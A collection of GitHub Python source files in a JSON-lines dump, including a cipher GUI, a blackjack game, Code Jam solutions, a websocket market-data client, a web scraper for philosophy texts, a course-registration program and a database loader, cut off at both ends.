self.retranslateUi(Alberti)\n QtCore.QMetaObject.connectSlotsByName(Alberti)\n\n def retranslateUi(self, Alberti):\n _translate = QtCore.QCoreApplication.translate\n Alberti.setWindowTitle(_translate(\"Alberti\", \"ALBERTI\"))\n\n self.pushButton_encrypt.setText(_translate(\"Alberti\", \"Зашифровать\"))\n self.pushButton_decrypt.setText(_translate(\"Alberti\", \"Расшифровать\"))\n self.pushButton_paste.setText(_translate(\"Alberti\", \"Вставить\"))\n self.pushButton_clearInput.setText(_translate(\"Alberti\", \"Копировать\"))\n self.pushButton_copy.setText(_translate(\"Alberti\", \"Очистить\"))\n self.pushButton_clearOutput.setText(_translate(\"Alberti\", \"Очистить\"))\n self.pushButton_exit.setText(_translate(\"Alberti\", \"Закрыть окно\"))\n\n self.label_info_key.setText(_translate(\"Alberti\", \"⟵ Введите ключ.\"))\n self.textBrowser.setHtml(_translate(\"Alberti\", UiHelper.text_browser_html()))\n self.label_info.setText(\n _translate(\n \"Alberti\",\n \"Поддерживаемые алфавиты:\\n⚫ Латинский\\n⚫ Кириллица\\n\\n\"\n \"⚠ Все символы,\\nне входящие в них,\\nостанутся неизменными.\\n\\n\"\n \"Ввод текста: верхнее поле\\nРезультат: нижнее поле\"\n )\n )\n","repo_name":"4dreadhead/Cryptography","sub_path":"lib/ui/ui_symmetric_methods/ui_alberti.py","file_name":"ui_alberti.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1800144272","text":"#!/usr/bin/python\nfrom deck import *\nfrom players import *\nfrom game_bs import *\n\n\n\n#def round():\n\n\ndef play_game():\n #Default settings\n d_stand = 17\n initial_bank = 500\n\n #Setup:\n players_num = int(input(\"How many players will be playing? \"))\n players = []\n for i in range(players_num):\n print(f\"Player {i+1}'s name is: \", end='')\n name = input()\n players.append(Player(name, initial_bank))\n \n#Initialize Game:\n \n dealer = Dealer(d_stand)\n game = Game(dealer, players)\n\n print(f\"\\n\\nThe default settings are the following:\\n\\tDealer stands on {d_stand}\\n\\\n Players start with ${initial_bank}\\n\\tThere are 6 decks in a shoe\\n\\tMin bet: 5 and Max bet : 1000.\\n\")\n \n print(\"Starting game...\")\n \n#Game's Loop:\n while len(players) > 0:\n \n #round setup\n playing = game.prompt_bet()\n\n if len(playing) == 0:\n endRound(game) #cleanup players hands and display standings\n print(\"Thank you for Playing!\")\n break\n \n game.players_in_round = playing\n game.initial_deal()\n #game.display_hands(False)\n \n #play round:\n if game.dealer.hand.get_hValue()[1] != 21:\n game.prompt_action()\n game.play_dealer()\n\n #game.payout() #pay players_in_round and pay house those who are beat -bj and bust already paid\n\n #end round:\n endRound(game)\n print(f\"Round {game.round} over.\\n\")\n input(\"Press enter for next round.\\n\")\n\n\n\n\n \n\n \n \ndef runSim():\n pass\n\ndef endRound(game):\n game.display_standings()\n game.clean_up()\n for player in game.gplayers:\n if player.bank < game.min_bet:\n game.gplayers.remove(player)\n \n\n#main()\nif __name__ == '__main__':\n play_game()\n \n","repo_name":"Chris-Smith22/blackjack-repo","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23423348811","text":"#!/usr/bin/python2.6 -tt\nimport sys\nsys.setrecursionlimit(1000000)\ndef openFile(path, right):\n file = open(path, right)\n return file\n \ndef closeFile(file):\n file.close() \n\ndef solve(farmPrice, rate, goal, t, coockieBought):\n timeToGoal = goal * (1/t)\n timeToBigCoockie = farmPrice * (1/t)\n tooMuchAlready = goal <= coockieBought + farmPrice\n tooLong = timeToGoal < timeToBigCoockie + (goal / (t + rate))\n \n #print(str(coockieBought + farmPrice + farmPrice))\n if tooMuchAlready or tooLong:\n # print(\"ttg \" + str(timeToGoal))\n #print(str(coockieBought))\n return timeToGoal\n else:\n nr = t + rate\n ab = coockieBought + farmPrice\n #print(\"ttc \" + str(timeToBigCoockie))\n return timeToBigCoockie + solve(farmPrice, rate, goal, nr, ab)\n\ndef main():\n path = \"source.in\"\n output = \"output\"\n file = openFile(path, \"rU\")\n outputFile = openFile(output, \"wb\")\n \n for i in range(int(next(file))):\n outputFile.write(str(\"Case #\" + str( i + 1 ) + \": \"))\n variables = map(float, next(file).split())\n c = float(variables[0])\n f = float(variables[1])\n x = float(variables[2])\n outputFile.write(str(\"{0:.7f}\".format(solve(c, f, x, 2.0, 0.0))))\n outputFile.write(\"\\n\");\n #print(\"----------------------------------------------\")\n \n closeFile(file)\n closeFile(outputFile)\n\t\n#launch the main function\nif __name__ == '__main__':\n\tmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1922.py","file_name":"1922.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33488155977","text":"# !/usr/bin/python\n# coding:utf-8\n## 上面两条注释可以解决 中文注释报错的问题 SyntaxError: Non-ASCII character\n\nimport sys\n\nimport pygame\n\n\ndef check_event(ship):\n # 监视键盘和鼠标事件\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RIGHT:\n ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n ship.moving_left = True\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_RIGHT:\n ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n ship.moving_left = False\n\ndef update_screen(ai_settings, screen, ship):\n \"\"\"更新屏幕上的图像,并切换到主屏幕\"\"\"\n # 每次循环时都重绘屏幕\n screen.fill(\n ai_settings.bg_color) # ai_settings.bg_color可以点击进去,真的好神奇,就好像(ai_settings,screen,ship)是Java的(Settings ai_settings,screen,ship)一样\n\n ship.blitme()\n\n # 让最近绘制的屏幕可见\n pygame.display.flip()\n","repo_name":"Seachal/LearnPy1","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73616709313","text":"import pandas as pd\nimport numpy as np\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nimport re\nimport sys\nimport os\nsys.path.append(os.path.abspath('..'))\nfrom modern_dfs import ModernPhilosophers, ModernDocuments\n\n\n'''\nThis file scrapes the website\nhttps://www.marxists.org/reference/subject/philosophy/\nfor modern era philosophical texts\n'''\n\n\ndef init_driver():\n '''\n INPUT:\n None\n OUTPUT:\n driver - selenium Chrome web driver\n '''\n driver = webdriver.Chrome()\n driver.wait = WebDriverWait(driver, 5)\n\n return driver\n\n\ndef get_author_doc_info(phils, driver):\n '''\n INPUT:\n phils - modern philosopher dataframe\n driver - selenium Chrome web driver\n OUTPUT:\n authors - document authors\n years - years each document was written\n links - links to each document's text\n titles - document titles\n\n Get the basic document info\n '''\n url = 'https://www.marxists.org/reference/subject/philosophy/'\n\n driver.get(url)\n time.sleep(2)\n titles = driver.find_elements_by_xpath('//p[@class = \"item\"]/a')\n titles = [x.text.lower().strip() for x in titles]\n titles = [x.replace('&', 'and') for x in titles]\n\n links = driver.find_elements_by_xpath('//p[@class = \"item\"]/a')\n links = [x.get_attribute('href').strip() for x in links]\n\n authors_years = driver.find_elements_by_css_selector('p.item')\n authors_string = '\\n'.join(x.text for x in authors_years).lower()\n\n for title in titles:\n authors_string = authors_string.replace(title, '')\n\n idx1 = titles.index('de cive')\n idx2 = titles.index('origin of inequality')\n\n authors_years = authors_string.split('\\n')\n authors_years.insert(idx1, ', thomas hobbes, 1650')\n authors_years.insert(idx2, ', jean-jacques rousseau, 1762')\n authors_years[links.index('https://www.marxists.org/archive/marx/works/1880/soc-utop/ch03.htm')] = ', frederick engels, 1877'\n authors_years[titles.index('the german ideology')] = ', karl marx, 1845'\n authors_years[titles.index('ludwig feuerbach, the end of classical german philosophy')] = ', frederick engels, 1888'\n\n idx_humboldt = titles.index('wilhelm von humboldt on language')\n idx_goethe = titles.index('goethe on science')\n titles[idx_humboldt] = 'on language'\n titles[idx_goethe] = 'on science'\n titles[titles.index('commodities: use value and value')] = 'commodities'\n links[titles.index('computing machinery and intelligence')] = 'http://www.abelard.org/turpap/turpap.php'\n authors_years[idx_humboldt] = ', wilhelm von humboldt, 1810'\n authors_years[idx_goethe] = ', johann wolfgang von goethe, 1798'\n\n idx_drop = [titles.index('history of philosophy'),\\\n titles.index('classical german philosophy'), \\\n titles.index('engels on hegel and schelling'), \\\n titles.index('commodities: the two-fold character of labour'), \\\n titles.index('the fetishism of commodities'), \\\n titles.index(\"schelling's criticism of hegel\"), \\\n titles.index('on the significance of militant materialism')]\n\n for i, idx in enumerate(idx_drop):\n for lst in [titles, links, authors_years]:\n lst.pop(idx - i)\n\n authors = [re.split('\\,', x)[1].lower().strip() for x in authors_years]\n years = [int(re.split('\\,', x)[2][:5].lower().strip()) for x in authors_years]\n\n multiple_auth_idx = []\n for author in authors:\n if '&' in author:\n multiple_auth_idx.append(authors.index(author))\n\n for i, idx in enumerate(multiple_auth_idx):\n for lst in [titles, links, authors, years]:\n lst.pop(idx - i)\n\n for i in range(len(authors)):\n if authors[i] == 'g w f hegel':\n authors[i] = 'g.w.f. hegel'\n elif authors[i] == 'gottfried leibnitz':\n authors[i] = 'leibniz'\n elif authors[i] == 'benedicto spinoza':\n authors[i] = 'baruch spinoza'\n elif authors[i] == 'galilei galileo':\n authors[i] = ' '.join(x for x in authors[i].split()[::-1])\n elif authors[i] == 'alfred schuetz':\n authors[i] = 'alfred schutz'\n for philosopher in phils.df.name.values:\n if (authors[i] in philosopher) or (philosopher in authors[i]):\n authors[i] = philosopher\n # if authors[i] not in phils.df.name.values:\n # phils.add_philosopher_entry(authors[i])\n\n return authors, years, links, titles\n\n\ndef get_text(link, driver):\n '''\n INPUT:\n link - link to document text\n driver - selenium Chrome web driver\n OUTPUT:\n text - text obtained from link; empty if retrieval failed\n\n Get text for a specific link\n '''\n r = requests.get(link)\n soup = BeautifulSoup(r.content, 'html.parser')\n\n exceptions = ['https://www.marxists.org/archive/marx/works/1867-c1/ch01.htm#S1', \\\n 'https://www.marxists.org/archive/marx/works/1867-c1/ch01.htm#S2', \\\n 'https://www.marxists.org/subject/women/authors/millett-kate/theory.htm']\n\n multiple_links = ['https://www.marxists.org/reference/archive/feuerbach/works/future/index.htm', \\\n 'https://www.marxists.org/reference/archive/spirkin/works/dialectical-materialism/index.html', \\\n 'https://www.marxists.org/archive/vygotsky/works/words/index.htm', \\\n 'https://www.marxists.org/reference/archive/marcuse/works/reason/index.htm', \\\n 'https://www.marxists.org/archive/novack/works/history/index.htm', \\\n 'https://www.marxists.org/archive/lektorsky/subject-object/index.htm']\n\n if link in multiple_links:\n driver.get(link)\n time.sleep(2)\n\n if link == 'https://www.marxists.org/archive/novack/works/history/index.htm':\n lnks = driver.find_elements_by_xpath('/html/body/p[contains(@class, \"toc\") or contains(@class, \"tob\")][position() > 1]/a')\n lnks.pop()\n elif link == 'https://www.marxists.org/archive/lektorsky/subject-object/index.htm':\n lnks = driver.find_elements_by_xpath('/html/body/p[@class=\"fst\"]//a')\n lnks.pop(10)\n elif link == 'https://www.marxists.org/archive/vygotsky/works/words/index.htm':\n lnks = driver.find_elements_by_xpath('/html/body/p[position() < 2]/a')\n else:\n lnks = driver.find_elements_by_xpath('/html/body/p[@class=\"index\"]/a')\n lnks = [link for link in lnks if 'glossary' not in link.get_attribute('href')]\n\n text = ''\n for i in range(len(lnks)):\n if link == 'https://www.marxists.org/archive/novack/works/history/index.htm':\n lnks = driver.find_elements_by_xpath('/html/body/p[contains(@class, \"toc\") or contains(@class, \"tob\")][position() > 1]/a')\n lnks.pop()\n elif link == 'https://www.marxists.org/archive/lektorsky/subject-object/index.htm':\n lnks = driver.find_elements_by_xpath('/html/body/p[@class=\"fst\"]//a')\n lnks.pop(10)\n elif link == 'https://www.marxists.org/archive/vygotsky/works/words/index.htm':\n lnks = driver.find_elements_by_xpath('/html/body/p[@class=\"index\"][position() < 2]/a')\n else:\n lnks = driver.find_elements_by_xpath('/html/body/p[@class=\"index\"]/a')\n lnks = [link for link in lnks if 'glossary' not in link.get_attribute('href')]\n\n lnks[i].click()\n time.sleep(1)\n\n pars = driver.find_elements_by_tag_name('p')\n text += ' '.join(x.text.strip() for x in pars)\n\n driver.back()\n time.sleep(2)\n return text\n\n elif len(soup.findAll('p', {'class': 'index'})) == 0 or link in exceptions:\n pars = soup.select('p')\n text = ' '.join(x.text for x in pars)\n return text\n\n else:\n try:\n driver.get(link)\n time.sleep(2)\n\n link = driver.find_element_by_xpath('/html/body/p[@class=\"index\"]/a')\n\n link.click()\n time.sleep(1)\n\n pars = driver.find_elements_by_tag_name('p')\n text = ' '.join(x.text.strip() for x in pars)\n\n return text\n except NoSuchElementException:\n return ''\n\n\ndef add_documents(authors, years, links, titles, driver, docs):\n '''\n INPUT:\n authors - document authors\n years - years each document was written\n links - document links\n titles - document titles\n driver - selenium Chrome web driver\n docs - documents dataframe\n OUTPUT:\n None\n Add documents from the website\n '''\n for i in range(len(authors)):\n author = authors[i]\n year = years[i]\n link = links[i]\n title = titles[i]\n\n if title == 'discourse on method':\n continue\n\n print(\"\\nGetting text for {} by {}\".format(title, author))\n text = get_text(link, driver)\n print(len(text.split()))\n\n if text:\n print('Adding Document')\n docs.add_document(author, title, year, text, link)\n else:\n continue\n\n\nif __name__ == '__main__':\n phils = ModernPhilosophers(filepath='../data/modern_philosophers.csv')\n docs = ModernDocuments(filepath='../data/modern_documents.csv')\n driver = init_driver()\n authors, years, links, titles = get_author_doc_info(phils, driver)\n phils.save_df()\n add_documents(authors, years, links, titles, driver, docs)\n driver.quit()\n docs.save_df()\n","repo_name":"tdlazoen/modern_era_philosophy","sub_path":"scrapers/value_knowledge_scrape.py","file_name":"value_knowledge_scrape.py","file_ext":"py","file_size_in_byte":9848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23474649801","text":"import sys\n\niFile = open(sys.argv[1],\"r\")\n\nT = int(iFile.readline().strip())\n\nfor t in range(T):\n line = iFile.readline().strip().split()\n rows = int(line[0])\n columns = int(line[1])\n \n impossible = False\n numChanges = 0\n\n field = []\n changeField = [[0]*columns for row in range(rows)] \n\n for row in range(rows):\n field.append([])\n line = iFile.readline().strip()\n for column in range(columns):\n field[row].append(line[column])\n\n #up\n for column in range(columns):\n i = 0\n while True:\n if(field[i][column] != '.'):\n if(field[i][column] == '^'):\n numChanges += 1\n changeField[i][column] += 1\n if(changeField[i][column] == 4):\n impossible = True\n break\n else:\n i += 1\n if(i >= rows):\n break\n #down\n for column in range(columns):\n i = rows - 1\n while True:\n if(field[i][column] != '.'):\n if(field[i][column] == 'v'):\n numChanges += 1\n changeField[i][column] += 1\n if(changeField[i][column] == 4):\n impossible = True\n break\n else:\n i -= 1\n if(i < 0):\n break\n\n #left\n for row in range(rows):\n i = 0\n while True:\n if(field[row][i] != '.'):\n if(field[row][i] == '<'):\n numChanges += 1\n changeField[row][i] += 1\n if(changeField[row][i] == 4):\n impossible = True\n break\n else:\n i += 1\n if(i >= columns):\n break\n\n #right\n for row in range(rows):\n i = columns - 1\n while True:\n if(field[row][i] != '.'):\n if(field[row][i] == '>'):\n numChanges += 1\n changeField[row][i] += 1\n if(changeField[row][i] == 4):\n impossible = True\n break\n else:\n i -= 1\n if(i < 0):\n break\n\n if impossible:\n output = \"IMPOSSIBLE\"\n else:\n output = str(numChanges)\n \n print(\"Case #\"+str(t+1)+\": \"+output)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_168/118.py","file_name":"118.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38541224135","text":"import websocket\nimport json\nimport time\n\ndef on_message(ws, message):\n data = json.loads(message)\n if data['method'] == 'public/heartbeat':\n heartbeat_response = {\n 'id': data['id'],\n 'method': 'public/respond-heartbeat',\n 'code': 0\n }\n ws.send(json.dumps(heartbeat_response))\n else:\n print(f\"Received message: {message}\")\n\ndef on_error(ws, error):\n print(f\"Error: {error}\")\n\ndef on_close(ws):\n print(\"### closed ###\")\n\ndef on_open(ws):\n subscribe_request = {\n 'id': 1,\n 'method': 'subscribe',\n 'params': {\n 'channels': ['book.BTCUSD-PERP']\n },\n 'nonce': int(time.time() * 1000)\n }\n ws.send(json.dumps(subscribe_request))\n\nif __name__ == \"__main__\":\n websocket.enableTrace(True)\n ws = websocket.WebSocketApp(\"wss://deriv-stream.crypto.com/v1/market\",\n on_message=on_message,\n on_error=on_error,\n on_close=on_close)\n ws.on_open = on_open\n ws.run_forever()\n","repo_name":"noemk2/cryptocom_websocket","sub_path":"ws_market.py","file_name":"ws_market.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4052292909","text":"import sys\nimport re\n\nfor line in sys.stdin:\n line = line.strip(\"\\t\\r\\n\")\n items = line.split('\\t')\n if len(items) != 8: continue\n authors, affi = items[1], items[2]\n authors = authors.split(\"|\")\n # 多机构的过滤掉\n if len(affi.split(\"|\")) > 1: continue\n for item in authors:\n # 过滤拼音英文的姓名\n res = re.search('[a-zA-Z]', item)\n if res == None:\n affis = affi.split(\",\")[0]\n # 过滤非汉字\n if all('\\u4e00' <= char <= '\\u9fff' for char in item):\n print(\"|\".join([item, affis]))\n","repo_name":"820fans/KnowledgeGraph","sub_path":"src/for_rdf/get_co_author.py","file_name":"get_co_author.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"5507182162","text":"def read_file(source_file):\n list_of_tuples = []\n with open(source_file) as file:\n for line in file.readlines():\n line = line.strip().split(',')\n list_of_tuples.append(line)\n return list_of_tuples\n\n\ndef write_file(data, destination_file):\n with open(destination_file, \"w\") as file:\n for line in data:\n file.write(','.join(line) + '\\n')\n\n\ndef print_headers():\n print(\"{: ^5}|{: ^11}|{: ^15}|{: ^43}|{: ^15}|{: ^12}|{: ^15}\".format(\"CRN\",\n \"Course Code\",\n \"Section Number\",\n \"Course Name\",\n \"Instructor Name\",\n \"Section Size\",\n \"Available Seats\"))\n\n\ndef print_course_details(course):\n print(\"{: ^5}|{: ^11}|{: ^15}|{: ^43}|{: ^15}|{: ^12}|{: ^15}\".format(course[0],\n course[1],\n course[2],\n course[3],\n course[4],\n course[5],\n str(int(course[-2]) - int(course[-1]))))\n\n\ndef print_courses_info(source_file):\n data = read_file(source_file)\n print_headers()\n for course in data:\n print_course_details(course)\n\n\ndef search_course(source_file):\n data = read_file(source_file)\n choice = input('1. Search by name\\n2. Search by course code\\n3. Search by course number\\nEnter choice: ')\n if choice not in ['1', '2', '3']:\n print(\"Invalid choice.\")\n return\n found = False\n if choice == '1':\n name = input(\"Enter name: \").lower()\n print_headers()\n for course in data:\n if name in course[3].lower():\n found = True\n print_course_details(course)\n elif choice == '2':\n code = input(\"Enter course code: \").lower()\n print_headers()\n for course in data:\n if code == course[1].lower():\n found = True\n print_course_details(course)\n else:\n course_number = input(\"Enter course number: \").lower()\n print_headers()\n for course in data:\n if course_number == course[0].lower():\n found = True\n print_course_details(course)\n\n if not found:\n print(\"No course found.\")\n\n\ndef add_courses(source_file):\n data = read_file(source_file)\n course_numbers = [course[0] for course in data]\n course = []\n course_number = input(\"Enter course number: \")\n if course_number in course_numbers:\n print(\"Serial Number already exists\")\n\n if not course_number.isnumeric() or len(course_number) != 5:\n print(\"The course number isn't an integer, or it's not 5 digits\")\n return\n\n course_code = input(\"Enter course code: \")\n if len(course_code) == 0:\n print(\"The course code cannot be empty.\")\n return\n\n section = input(\"Enter section number: \")\n if int(section) < 1:\n print(\"Section number must be positive and non-empty\")\n return\n\n course_name = input(\"Enter course name: \")\n if len(course_name) == 0:\n print(\"Course name cannot be empty.\")\n return\n\n instructor = input(\"Enter instructor name: \")\n if len(instructor) == 0:\n print(\"Instructor name cannot be empty.\")\n return\n\n size = input(\"Enter section size: \")\n if int(size) < 1:\n print(\"Section size must be positive and non-empty\")\n return\n\n\n course.extend([course_number,course_code,section,course_name, instructor,size,'0'])\n data.append(course)\n write_file(data, source_file)\n print(\"Course has been added successfully!\")\n\n\ndef remove_courses(source_file):\n data = read_file(source_file)\n course_numbers = [course[0] for course in data]\n\n while True:\n course_number = input(\"Enter course number: \")\n\n if course_number in course_numbers:\n break\n else:\n print(\"Course does not exist\")\n\n print_headers()\n for i, course in enumerate(data):\n if course_number == course[0]:\n print_course_details(course)\n if 'y' == input(f\"Do you want to remove the course ({course_number})? [Y/N] \").lower():\n if int(course[-1]) == 0:\n data.pop(i)\n write_file(data, source_file)\n print(\"Course has been removed successfully\")\n else:\n print(\"Can't remove course, since students have enrolled in it.\")\n\n\ndef update_courses(source_file):\n data = read_file(source_file)\n course_numbers = [course[0] for course in data]\n while True:\n course_number = input(\"Enter course number: \")\n if course_number in course_numbers:\n break\n else:\n print(\"Course does not exist\")\n\n choice = input('1. Update course name\\n2. Update instructor name\\n3. Update section size\\nEnter choice: ')\n\n if choice not in ['1', '2', '3']:\n print(\"Invalid choice.\")\n return\n if choice == '1':\n name = input(\"Enter name: \")\n for course in data:\n if course_number == course[0]:\n course[3] = name\n print(\"Course name changed.\")\n break\n elif choice == '2':\n instructor = input(\"Enter instructor name: \")\n for course in data:\n if course_number == course[0]:\n course[-3] = instructor\n print(\"Instructor name changed.\")\n break\n else:\n size = int(input(\"Enter section size: \"))\n for course in data:\n if course_number == course[0]:\n course[-2] = size\n print(\"Section size changed.\")\n break\n write_file(data, source_file)\n\n\ndef register_student(source_file, destination_file):\n data = read_file(source_file)\n course_numbers = [course[0] for course in data]\n while True:\n course_number = input(\"Enter course number: \")\n if course_number in course_numbers:\n break\n else:\n print(\"Course number doesn't exist\")\n\n student_id = input(\"Enter student ID: \")\n student_name = input(\"Enter student name: \")\n\n for course in data:\n if course_number == course[0]:\n if int(course[-1]) == int(course[-2]):\n print(\"Course is full.\")\n return\n course[-1] = str(int(course[-1]) + 1)\n write_file(data, source_file)\n try:\n students_details = read_file(destination_file)\n students_details.append([str(course_number), student_name, str(student_id)])\n except:\n students_details = [[str(course_number), student_name, str(student_id)]]\n write_file(students_details, destination_file)\n print(\"Student registered.\")\n\n\ndef drop_student(source_file, destination_file):\n students_details = read_file(destination_file)\n course_number = input(\"Enter course number: \")\n student_id = input(\"Enter student ID: \")\n found = False\n for i, student in enumerate(students_details):\n if student_id == student[-1] and course_number == student[0]:\n found = True\n if 'y' == input(f'Enter \"y\" to confirm removing the student ({student[1]}) from the course ({course_number}): ').lower():\n students_details.pop(i)\n data = read_file(source_file)\n course_name = \"\"\n for course in data:\n if course_number == course[0]:\n course_name = course[3]\n course[-1] = str(int(course[-1]) - 1)\n break\n write_file(data, source_file)\n write_file(students_details, destination_file)\n print(f\"Student {student_id}, {student[1]} has been dropped from {course_name} successfully\")\n if not found:\n print(\"No student found.\")\n\n\ndef main():\n menu = '1. Print courses info\\\n \\n2. Search for a course\\\n \\n3. Add new course\\\n \\n4. Remove a course\\\n \\n5. Update a course\\\n \\n6. Register a student in a course\\\n \\n7. Drop a student from a course\\\n \\n8. Exit'\n\n source_file = \"coursesInfo.txt\"\n destination_file = \"registeredStudents.txt\"\n\n while True:\n print(\"University Registrar System\")\n print(\"=\" * 40)\n print(menu)\n print(\"=\" * 40)\n choice = input(\"Enter your choice: \")\n\n if choice == '1':\n print_courses_info(source_file)\n elif choice == '2':\n search_course(source_file)\n elif choice == '3':\n add_courses(source_file)\n elif choice == '4':\n remove_courses(source_file)\n elif choice == '5':\n update_courses(source_file)\n elif choice == '6':\n register_student(source_file, destination_file)\n elif choice == '7':\n drop_student(source_file, destination_file)\n else:\n print(\"GoodBye!\")\n break\n\n\nmain()\n","repo_name":"SultanF1/fahad","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24576923031","text":"import os\nfrom sqlalchemy import create_engine \nfrom sqlalchemy import Column, String, Numeric, Boolean, Date, ARRAY\nfrom sqlalchemy.ext.declarative import declarative_base \nfrom models import Person, Company, Company_Li_Mapping, db, base\nfrom sqlalchemy.orm import sessionmaker\nfrom dotenv import load_dotenv\n\nfrom typing import Iterator, Dict, Any\nimport utils\n\nload_dotenv() \n\nclass Loader(): \n def __init__(self):\n self.session = None\n\n def load_data(self):\n # Create and store esson\n Session = sessionmaker(db) \n session = Session()\n self.session = session\n\n # Reinstantiate Tables\n base.metadata.drop_all(db)\n base.metadata.create_all(db)\n\n # Call Bulk upload data \n self.load_bulk_people_data()\n self.load_bulk_company_data()\n self.load_bulk_li_mapping_data()\n \n # Bulk upload people data.\n def load_bulk_people_data(self):\n \n people_path = os.getenv('PEOPLE_BULK_DATA')\n people = list(utils.iter_people_from_file(people_path))\n \n for person_data in people: \n \n person_id = person_data['person_id']\n company_name = person_data['company_name'].lower()\n company_li_name = utils.parse_li_name(person_data['company_li_name'])\n last_title = person_data['last_title'].lower().strip()\n is_founder = utils.parse_title_for_founder(last_title)\n group_start_date = utils.parse_date(person_data['group_start_date'])\n group_end_date = utils.parse_end_date(person_data['group_end_date'])\n \n person = Person(\n person_id=person_id, \n company_name=company_name, \n company_li_name=company_li_name,\n last_title=last_title,\n is_founder=is_founder,\n group_start_date = group_start_date,\n group_end_date = group_end_date\n ) \n self.session.add(person) \n self.session.commit()\n\n # Bulk upload company data.\n def load_bulk_company_data(self): \n\n companies_path = os.getenv('COMPANIES_BULK_DATA')\n companies = list(utils.iter_companies_from_file(companies_path))\n\n for company_data in companies: \n \n company_name = company_data['company_name'].lower()\n company_li_name = utils.parse_lists(company_data['company_li_names'])\n description = utils.parse_strings(company_data['description'])\n headcount = utils.parse_numeric_value(company_data['headcount'])\n most_recent_raise = utils.parse_numeric_value(company_data['most_recent_raise'])\n most_recent_valuation = utils.parse_numeric_value(company_data['most_recent_valuation'])\n founding_date = utils.parse_date(company_data['founding_date'])\n known_total_funding = utils.parse_numeric_value(company_data['known_total_funding'])\n \n company = Company(\n company_name=company_name, \n company_li_name=company_li_name,\n description = description,\n headcount = headcount,\n most_recent_raise = most_recent_raise,\n most_recent_valuation = most_recent_valuation,\n founding_date= founding_date,\n known_total_funding = known_total_funding\n ) \n self.session.add(company) \n self.session.commit()\n \n # Bulk upload company mapping data.\n def load_bulk_li_mapping_data(self): \n \n companies_path = os.getenv('COMPANIES_BULK_DATA')\n company_li_mappings = list(utils.iter_company_li_from_file(companies_path))\n\n for company_li_data in company_li_mappings: \n company_li_name = company_li_data['company_li_name']\n company_name = utils.parse_strings(company_li_data['company_name'])\n\n company_li_mapping = Company_Li_Mapping(\n company_name = company_name,\n company_li_name = company_li_name\n )\n self.session.add(company_li_mapping)\n self.session.commit()\n \n # # Read\n # people = session.query(Person) \n # for person in people: \n # print(person.person_id)\n\n\nloader = Loader() \nloader.load_data()\n\n","repo_name":"pkale/employee_data_backend_engine","sub_path":"load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4077474001","text":"from collections import Counter\n\n\ndef solution(A, K):\n # Write your code here\n for arr in A:\n dist_arr = dict(Counter(arr))\n print(dist_arr)\n return 0\n\n\nT = int(input())\nfor _ in range(T):\n N, K = map(int, input().split())\n A = []\n for _ in range(N):\n A.append(input().split())\n out_ = solution(A, K)\n print(out_)\n","repo_name":"abdulkalam1233/Algorithms-DS","sub_path":"linear_search/problems/policeman_thives.py","file_name":"policeman_thives.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27105700507","text":"from collections import Counter\nfrom itertools import chain\nimport json\n\n\nTRACKS = json.loads(open('_data/tracks.json').read())\nALL_EXERCISES = json.loads(open('_data/all_exercises.json').read())\n\n\nimplementations = Counter({x: 0\n for x in ALL_EXERCISES})\n\nfor t in TRACKS:\n problems = json.loads(open('_data/{}.json'.format(t)).read())['problems']\n implementations.update(problems)\n\nprint(json.dumps([k for k, _ in implementations.most_common()]))\n","repo_name":"sjakobi/please-implement2","sub_path":"sort_exercises.py","file_name":"sort_exercises.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73627179074","text":"# LICENSE\n#\n# This file is part of pSysmon.\n#\n# If you use pSysmon in any program or publication, please inform and\n# acknowledge its author Stefan Mertl (stefan@mertl-research.at).\n#\n# pSysmon is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\nimport os\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport obspy.core.util.base\n\n\nimport 